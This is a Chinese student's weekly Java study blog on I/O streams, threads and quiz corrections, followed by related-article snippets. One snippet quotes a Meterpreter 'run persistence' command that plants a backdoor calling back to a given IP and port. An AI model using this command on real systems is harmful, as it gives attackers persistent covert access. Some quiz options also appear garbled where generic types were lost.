20155320 2016-2017-2 《Java程序设计》第六周学习总结

教材学习内容总结

输入输出

  • InputStream的read()方法每次都会尝试读入byte数组长度的数据,并返回实际读入的字节(只要不是-1就表示读到数据),OutoutStream的write()方法可指定要写出的byte数组、初始索引和数据长度。
  • 只要指定网址,URL实例会自动进行HTTP协议;用openStream()方法取得的InputStream实例,代表与网站连接的数据串流。
  • 无论来源和目的地实体形式是什么,只要取得InputStream和OutputStream,就只是调用InputStream和OutputStream的相关方法。
  • Systemd的setIn()方法指定InputStream实例,重新指定标准输入来源,setOut()方法指定PrintStream实例,将结果输出至指定目的地。
  • BufferInputStream与BufferOutputStream会将数据尽量地读取或者写入到缓冲区,从而提高效率
  • DataInputStream与DataOutputStream提供读取写入java基本类型的方法.
  • ObjectInputStream与ObjectInputStream将数据读入或写出为对象.
  • FileReader、FileWriter可以对文档作读取或写入,默认会使用操作系统默认编码。
  • 抽象化了数据读入和写出的目的地,会将读入的数据植入char数组中.
  • 字符处理装饰器可以使用BufferReader和BufferWriter将数据进行缓冲,增加读取写入效率。

线程与并行API

  • 继承Thread类也可以进行多个进程,但没有Runnable的弹性好,运用Lambda表达式也可以简化程序。

  • Daemon:在所有的非Daemon线程结束时,JVM就会自动终止

  • 生命周期的五种状态

  • 新建(new Thread):当创建Thread类的一个实例(对象)时,此线程进入新建状态(未被启动)。例如:Thread t1=new Thread();

  • 就绪(runnable):线程已经被启动,正在等待被分配给CPU时间片,也就是说此时线程正在就绪队列中排队等候得到CPU资源。例如:t1.start();

  • 运行(running):线程获得CPU资源正在执行任务(run()方法),此时除非此线程自动放弃CPU资源或者有优先级更高的线程进入,线程将一直运行到结束。

  • 死亡(dead):当线程执行完毕或被其它线程杀死,线程就进入死亡状态,这时线程不可能再进入就绪状态等待执行。自然终止:正常运行run()方法后终止。异常终止:调用stop()方法让一个线程终止运行。

  • 堵塞(blocked):由于某种原因导致正在运行的线程让出CPU并暂停自己的执行,即进入堵塞状态。正在睡眠:用sleep(long t) 方法可使线程进入睡眠方式。一个睡眠着的线程在指定的时间过去可进入就绪状态。正在等待:调用wait()方法。(调用motify()方法回到就绪状态)。被另一个线程所阻塞:调用suspend()方法。(调用resume()方法恢复)

  • sleep、wait阻断等都会让线程进入blocked状态,运用多线程,避免cpu空闲下来,是改进效能的方式之一。

  • Lock是锁对象,与Thread模型的隐式的锁对象相比,Lock提供了显式的锁操作从而简化应用程序。

  • Executors:提供了一组HighLevelAPI用来执行和管理并行任务。

  • ConcurrentCollections(并行集合):包含了一组支持并行处理的数据结构,大大简化了并行编程难度。

  • AtomicVariables(原子变量):减少了同步操作并且避免数据不一致。

  • 用来管理群组中的线程,enumerate可以取得群组中的所有线程,activecount()用来取得线程的数量

  • 被表示为synchronized的区块会被监控(monitor),需要先取得指定对象锁定后才能执行,线程因synchronized区块而进入blocked,在取得锁定之后,会先回到runnable状态,不正确地使用synchronized可能会造成效能低落或者死结。

  • volatile 变量上声明,表示该变量是不稳定的、易变的,并且不允许线程快取,保证单一变数的可见性

教材学习中的问题和解决过程

FileInputStream 是文件输入流,它继承于InputStream。

通常,我们使用FileInputStream从某个文件中获得输入字节。

FileOutputStream 是文件输出流,它继承于OutputStream。

通常,我们使用FileOutputStream 将数据写入 File 或 FileDescriptor 的输出流

代码调试中的问题和解决过程

  • 问题1:在编写代码charutil2时出现了如下错误显示:

  • 问题1解决方案:我发现这是由于我在运行提供给的代码时新建工程后取的class名与实际的 public class 名不符所致,因此我改变了原public class 名一致后解决了错误。

代码托管

上周考试错题总结

 import java.util.*;
Class FindStuff { public static void main (String[]args) { //insert code here c.put ("X", 123); } }

分别插入到第5行,哪几行允许代码编译?(BDF)

A . Map c= new SortedMap();

B . HashMap c= new HashMap();

C . HashMap c= new Hashtable();

D .SortedMap c= new TreeMap();

E .ArrayList c= new ArrayList();

F .Map c = new LinkedHashMap();

  • 4.现有:

    list是一个合法的集合引用,getCollection()返回一个合法集合的引用, 哪个是合法的?(BE)

A . or(Object o ; list)

B . for(Object o : getCollection())

C . for(Object o : list.iterator())

D . for(lterator i ; list.iterator() ; i.hasNext () )

E . for(lterator i=list.iterator(); i.hasNext (); )

  • 7.创建一个只能存放String的泛型ArrayList的语句是哪项?(B)

A .ArrayList al=new ArrayList();

B . ArrayList al=new ArrayList()

C .ArrayList al=new ArrayList();

D .ArrayList al =new List();

  • 12.集合API 中Set接口的特点是?(D)

A .不允许重复元素,元素有顺序

B .允许重复元素,元素无顺序

C .允许重复元素,元素有顺序

D .不允许重复元素,元素无顺序

  • 5.现有:
    import java.util.*;

    class ForInTest  {

      static List list=new ArrayList();

    }

    public static void main (String  []  args)  {

      list. add("a"); list. add("b");list. add( "c");

         //insert code here

        System.out.print (o);

        }

    }

哪一行插入到第9行将导致输出“abc"?(D)

A .for (Iterator o : list.iterator(); o.hasNext (); )

B .for (Iterator o : list)

C .for (Object o : list.iterator())

D . for (Object o : list)

结对及互评

20155326刘美岑的博客

点评过的同学博客和代码

其他(感悟、思考等,可选)

本周尝试了一下课上娄老师推荐的学习方法虽然略有推迟但是感觉还是不错的,先看了一下老师发在资源里的视频,然后是看书上的内容,以前的代码都是自己打,但是这次我尝试先看再改提供的代码,虽然有一些无法运行,但是感觉节省了许多时间,也轻松了许多。

学习进度条

代码行数(新增/累积) 博客量(新增/累积) 学习时间(新增/累积) 重要成长
目标 5000行 15篇 400小时
第一周 20/20 1/4 20/20 安装了JDK及IDEA
第二周 144/164 1/5 18/38 学习了java语言的基本语法
第三周 447/567 1/6 20/ 58 掌握了一些有关对象和封装的内容
第四周 875/ 1442 1/7 23/81 学习了解了继承、接口和多态的相关问题
第五周 775/2250 1/8 25/106 学习了异常处理以及Collection与Map相关的内容
第六周 487/ 2706 1/8 22/128 学习了输入输出

尝试一下记录「计划学习时间」和「实际学习时间」,到期末看看能不能改进自己的计划能力。这个工作学习中很重要,也很有用。

耗时估计的公式

:Y=X+X/N ,Y=X-X/N,训练次数多了,X、Y就接近了。

参考:软件工程软件的估计为什么这么难软件工程 估计方法

  • 计划学习时间:25小时

  • 实际学习时间:22小时

  • 改进情况:本周与结对同学一起学习,本计划时间更充裕一点,然而合作却出乎意料的顺利,就是花在第11章中的代码中的时间更多。

(有空多看看现代软件工程 课件

软件工程师能力自我评价表
)

参考资料

20155320 2016-2017-2 《Java程序设计》第六周学习总结的更多相关文章

  1. 20155320 2016-2017-2《Java程序设计》第九周学习总结

    20155320 2016-2017-2<Java程序设计>第九周学习总结 教材学习内容总结 第十六章 JDBC简介 撰写应用程序是利用通信协议对数据库进行指令交换,以进行数据的增删查找 ...

  2. 20155320 2016-2017-2 《Java程序设计》第二周学习总结

    20155320 2016-2017-2 <Java程序设计>第二周学习总结 教材学习内容总结 本周主要学习了java语言的基础语法,我发现与以前学过的c语言有许多共同点,无论是从一些基本 ...

  3. 20155326 2016-2017-2 《Java程序设计》第九周学习总结

    20155326 2016-2017-2 <Java程序设计>第九周学习总结 教材学习内容总结 1.撰写应用程序是利用通信协议对数据库进行指令交换,以进行数据的增删查找. 2.JDBC目的 ...

  4. 20155227 2016-2017-2 《Java程序设计》第九周学习总结

    20155227 2016-2017-2 <Java程序设计>第九周学习总结 教材学习内容总结 JDBC简介 JDBC全名Java DataBase Connectivity,是java联 ...

  5. 20155328 2016-2017-2 《Java程序设计》第九周学习总结

    20155328 2016-2017-2 <Java程序设计>第九周学习总结 教材学习内容总结 16.1 JDBC入门 JDBC是Java联机数据库的标准规范,定义一组标准类与接口,应用程 ...

  6. 20145213《Java程序设计》第九周学习总结

    20145213<Java程序设计>第九周学习总结 教材学习总结 "五一"假期过得太快,就像龙卷风.没有一点点防备,就与Java博客撞个满怀.在这个普天同庆的节日里,根 ...

  7. 21045308刘昊阳 《Java程序设计》第九周学习总结

    21045308刘昊阳 <Java程序设计>第九周学习总结 教材学习内容总结 第16章 整合数据库 16.1 JDBC入门 16.1.1 JDBC简介 数据库本身是个独立运行的应用程序 撰 ...

  8. 《Java程序设计》第九周学习总结

    20145224 <Java程序设计>第九周学习总结 第十六章 整合数据库 JDBC入门 ·数据库本身是个独立运行的应用程序 ·撰写应用程序是利用通信协议对数据库进行指令交换,以进行数据的 ...

  9. 20145236 《Java程序设计》第九周学习总结

    20145236 <Java程序设计>第九周学习总结 教材学习内容总结 第十六章 整合数据库 JDBC简介 1.JDBC是java联机数据库的标准规范.它定义了一组标准类与接口,标准API ...

  10. 20155304田宜楠2006-2007-2 《Java程序设计》第一周学习总结

    20155304田宜楠2006-2007-2 <Java程序设计>第一周学习总结 教材学习内容总结 - 浏览教材,根据自己的理解每章提出一个问题 第一章 除了书上提到的开发工具还有什么适合 ...

随机推荐

  1. 数据类型-Series

    数据类型-Series Series数据类型由一组数据和数据相关的索引组成,键 -> 值 Series数据类型可视为:一维 带标签 数组 Series基本操作类似数组和字典 Series数据类型 ...

  2. python中使用Opencv进行人脸检测

    这两天学习了人脸识别,看了学长写的代码,边看边码边理解搞完了一边,再又是自己靠着理解和记忆硬码了一边,感觉还是很生疏,就只能来写个随笔加深一下印象了. 关于人脸识别,首先需要了解的是级联分类器Casc ...

  3. Web标准:八、下拉及多级弹出菜单

    Web标准:八.下拉及多级弹出菜单 知识点: 1.带下拉子菜单的导航菜单 2.绝对定位和浮动的区别和运用 3.CSS自适应宽度滑动门菜单   1)带下拉子菜单的导航菜单 带下拉子菜单的就是在一级导航下 ...

  4. mysql允许某ip访问

    grant all on *.* to databaseName@'ipAddress' identified by 'somePassword'; flush privileges;

  5. luoguP1080 国王游戏 (贪心+高精度)

    题目链接:https://www.luogu.org/problemnew/show/P1080 参考:https://www.luogu.org/problemnew/solution/P1080 ...

  6. Hook钩子编程

    钩子(Hook),是Windows消息处理机制的一个平台,钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统,以监视指定窗口的某种消息.每当特定的消息发出,在没有到达目的窗口前,钩子程序就先 ...

  7. Android可以子线程更新UI?

    初了解Android的时候,就知道Android是不能在子线程更新UI的,不然程序会直接抛出异常,告诉你,别给我在自线程搞事情! 但是,这个是针对普通的view做的限制,而TextureView,Su ...

  8. web项目传classes目录项目正常,打包成jar不能运行。

    笔者最近使用tomcat9,由于工作洁癖,盯上了tomcat启动日志里的"No TLD files were found in"字样,如下 15-Sep-2017 02:19:09 ...

  9. meterpreter 如何留后门,使攻击持久化

    安装后门方法一:meterpreter >run persistence -X -i 5 -p 443 -r 192.168.0.108 Persistent agent script is 6 ...

  10. requestFullscreen()事件全屏不好使怎么解决

    标明:我在360和火狐中全屏requestFullscreen()事件不好使: 解释:我后来发现我的页面是在iframe框架中使用的并且没有设置allowfullscreen="true&q ...